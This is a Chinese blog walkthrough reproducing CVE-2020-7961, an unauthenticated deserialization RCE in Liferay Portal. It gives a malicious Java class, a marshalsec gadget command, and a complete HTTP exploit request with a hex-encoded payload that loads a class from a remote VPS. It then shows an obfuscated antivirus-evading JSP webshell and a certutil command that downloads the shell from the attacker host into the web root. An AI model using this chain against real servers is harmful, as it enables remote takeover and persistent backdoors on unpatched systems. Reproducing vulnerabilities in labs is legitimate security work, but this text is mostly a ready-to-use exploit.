CVE-2020-7961_Liferay Portal 反序列化-复现
lipiwang 2024-10-27 13:28 8 浏览 0 评论
漏洞说明
Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户。该漏洞是个反序列化导致的RCE,通过未授权访问其api传递json数据进行反序列化,危害较高
影响范围
Liferay Portal 6.1、6.2、7.0、7.1、7.2
环境搭建
漏洞环境:
windows 10
jre1.8.0_221
jdk1.8.0_221
tomcat集成包:https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1
(我用的liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.tar.gz)
启动环境
E:\tmp\liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761\liferay-portal-7.2.0-ga1\tomcat-9.0.17\bin> .\catalina.bat run |
访问 http://localhost:8080/ 全部默认配置就可以
漏洞利用
思路:构造恶意class文件->构造序列化->反序列化->加载VPS上面恶意evil.class文件->实现下载webshell
构造恶意class文件
在VPS上面创建 LifExp.java(该写法为目标是Windows,运行计算器)->编译class文件
public class LifExp { | |
static { | |
try { | |
String[] cmd = {"cmd.exe", "/c", "calc.exe"};//命令执行 | |
java.lang.Runtime.getRuntime(). | |
exec(cmd).waitFor(); | |
} catch ( Exception e ) { | |
e.printStackTrace(); | |
} | |
} | |
} |
使用 javac .\LifExp.java 生成class文件
在当前目录使用 python -m SimpleHTTPServer 8000 监听8000端口启动一个wbe服务
构造序列化
使用 marshalsec-0.0.3-SNAPSHOT-all.jar 文件进行序列化:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://你的IP:你的端口/ LifExp |
构造HTTP数据包
把 defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource= 后面的值替换为上面选中部分
POST /api/jsonws/invoke HTTP/1.1 | |
Host: 192.168.207.133:8080 | |
Content-Length: 1365 | |
Content-Type: application/x-www-form-urlencoded | |
Connection: close | |
cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383030302f740003466f6f;"} |
发包,不出意外会返回500
但是计算器是弹出来了;
别看他只是一个小小的计算器,但是他的威力是无穷的,因为你可以执行其他命令来对靶机进行攻击,比如下载一个webshell
出网下载webshell
这个得免杀JSPshell,别问,问就是直接给你ban了,之前用一个一句话,除了whoami都不能来事儿。
免杀jspshell地址:https://www.jianshu.com/p/12dce12b2036
VPS上面构造一个txt:
<%@ page contentType="text/html;charset=UTF-8" language="java" %> | |
<%@ page import="sun.misc.BASE64Decoder" %> | |
<% | |
if(request.getParameter("cmd")!=null){ | |
BASE64Decoder decoder = new BASE64Decoder(); | |
Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU="))); | |
Process e = (Process) | |
rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new | |
String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new | |
Object[]{}), request.getParameter("cmd") ); | |
java.io.InputStream in = e.getInputStream(); | |
int a = -1; | |
byte[] b = new byte[2048]; | |
out.print("<pre>"); | |
while((a=in.read(b))!=-1){ | |
out.println(new String(b)); | |
} | |
out.print("</pre>"); | |
} | |
%> |
替换编译下面的java:
public class LifExp { | |
static { | |
try { | |
String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://IP:端口/jspshell.txt", "..\\webapps\\ROOT\\jspshell.jsp"}; | |
java.lang.Runtime.getRuntime(). | |
exec(cmd).waitFor(); | |
} catch ( Exception e ) { | |
e.printStackTrace(); | |
} | |
} | |
} |
第四行,Windows下使用certutil.exe可以实现文件下载,curl功能。
因为当前靶机执行命令的路径是 tomcat\bin 所以我们下载webshell的时候,一定要下载到index.jsp相同路径便于我们访问,也就是 tomcat-9.0.17\webapps\ROOT 。
执行了命令之后,我们在这个文件夹下面已经可以看到我们的shell了:
而这个时候我们已经可以正常访问shell了:
我用的免杀shell用法?cmd=cmd /c 命令 需要url编码;
相关推荐
- 想减少Windows 11内存占用?请取消固定Teams
-
如果你想要提高Windows11系统的运行速度,那么可以禁用某些默认启用的功能和设置。如果你的Windows11是安装在已经停止支持的设备或者内存容量不高的旧设备,那么应该立即限制或禁用固...
- Windows查看端口占用、查看PID对应的进程、并终止进程
-
Windows下:查看端口占用netstat-ano|findstr"端口号"获取到pid查看PID对应的进程tasklist|findstr"进程ID"...
- 计算机组成原理(36): 分时之一——进程
-
建立一个虚拟机VM目标:给每个程序一个自己的虚拟机“VirtualMachine”,程序并不知道其他的虚拟机。1.1进程(Process)为了捕获正在运行的程序,我们创建一个称为“进程(Proce...
- window系统如何停止端口被占用的进程(高手版)
-
如上图1,作为开发人员是不是经常遇到这个问题?(Webserverfailedtostart.Port9527wasalreadyinuse.)当然,如果在你知道确实有某个进程正占...
- 电脑的文件无法删除咋回事?你需要这款神兵利器
-
很多朋友用电脑的时候,都遇到过文件无法删除的情况。这往往是由于文件被某个软件、进程所调用所引发的——在Windows中,某个文件如果被使用,这个文件可能就没法进行删除、重命名之类的操作了。想要进一步操...
- Windows日志分析(windows 日志文件)
-
1.Windows日志文件简介1.1Windows日志核心分类1.系统日志系统日志包含由Windows系统组件记录的事件,记录系统进程和设备驱动程序的活动。由它审核的系统事件包括启动失败的设备驱动程...
- 电脑软件崩溃、闪退不用慌!DJS Tech 教你几招轻松解决
-
当你正全神贯注用电脑处理重要文件、沉浸在精彩的游戏世界,或是观看喜欢的视频时,软件突然崩溃、闪退,那一刻的烦躁简直难以言喻。别着急,DJSTech作为深耕计算机领域多年的专业团队,为你带来一系列超...
- 微软Win11推进淘汰控制面板,时间服务器配置迁移至设置应用
-
IT之家5月29日消息,科技媒体Winaero昨日(5月28日)发布博文,报道称微软在Windows11系统中,继续推进“淘汰控制面板”进程,配置时间服务器地址选项迁移到设置应...
- 微软 PowerToys更新,可帮你找出 Win11上哪些进程正在占用该文件
-
IT之家11月3日消息,微软针对Windows11和Windows10的PowerToys已经更新到了最新的0.64.0版本,并上线了一个名为“文件锁匠FileLock...
- Windows基础操作 认识任务管理器(windows任务管理器的使用)
-
Windows基础操作:认识任务管理器任务管理器(TaskManager)是Windows系统中一个功能强大的实用工具,它为用户提供了实时监控系统资源、管理正在运行的程序和服务的能力。掌握任务管理器...
- windows——netstat过滤(终止进程)
-
windows——netstat过滤(终止进程)在Windows操作系统中,使用netstat命令可以查看网络连接的状态。要过滤特定协议或端口的连接,可以使用以下命令:查看所有连接:netstat-...
- 只要这么做 Windows Defender与第三方就能和平共存啦
-
无论大家是否喜欢WindowsDefender,伴随着Windows10的不断升级,它已经成为系统的底层必备组件之一。虽然我们有各种各样的方法去关闭它,换用顺手的第三方,但只要更新打补丁,噩梦就来...
- Win10如何彻底关闭wsappx进程(win10 wsappx怎么关闭)
-
win10如何彻底关闭wsappx进程?wsappx进程是什么?wsappx进程是Windows10系统的一部分,这个进程是WindowsStore和微软通用应用程序平台(UWP)的依赖进程。...
- Windows环境黑客入侵应急与排查(黑客入侵电脑原理)
-
1文件分析1.1临时目录排查黑客往往可能将病毒放在临时目录(tmp/temp),或者将病毒相关文件释放到临时目录,因此需要检查临时目录是否存在异常文件。假设系统盘在C盘,则通常情况下的临时目录如下...
- Windows 11 24H2 KB5044384出现大面积安装失败、任务管理器0进程等问题
-
Windows11KB5044384更新由于出现大量错误而无法在Windows1124H2上安装、其中包括一个奇怪的错误,即由于0x800f0922、0x800736b3和0x8...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- maven镜像 (69)
- undefined reference to (60)
- zip格式 (63)
- oracle over (62)
- date_format函数用法 (67)
- 在线代理服务器 (60)
- shell 字符串比较 (74)
- x509证书 (61)
- localhost (65)
- java.awt.headless (66)
- syn_sent (64)
- settings.xml (59)
- 弹出窗口 (56)
- applicationcontextaware (72)
- my.cnf (73)
- httpsession (62)
- pkcs7 (62)
- session cookie (63)
- java 生成uuid (58)
- could not initialize class (58)
- beanpropertyrowmapper (58)
- word空格下划线不显示 (73)
- jar文件 (60)
- jsp内置对象 (58)
- makefile编写规则 (58)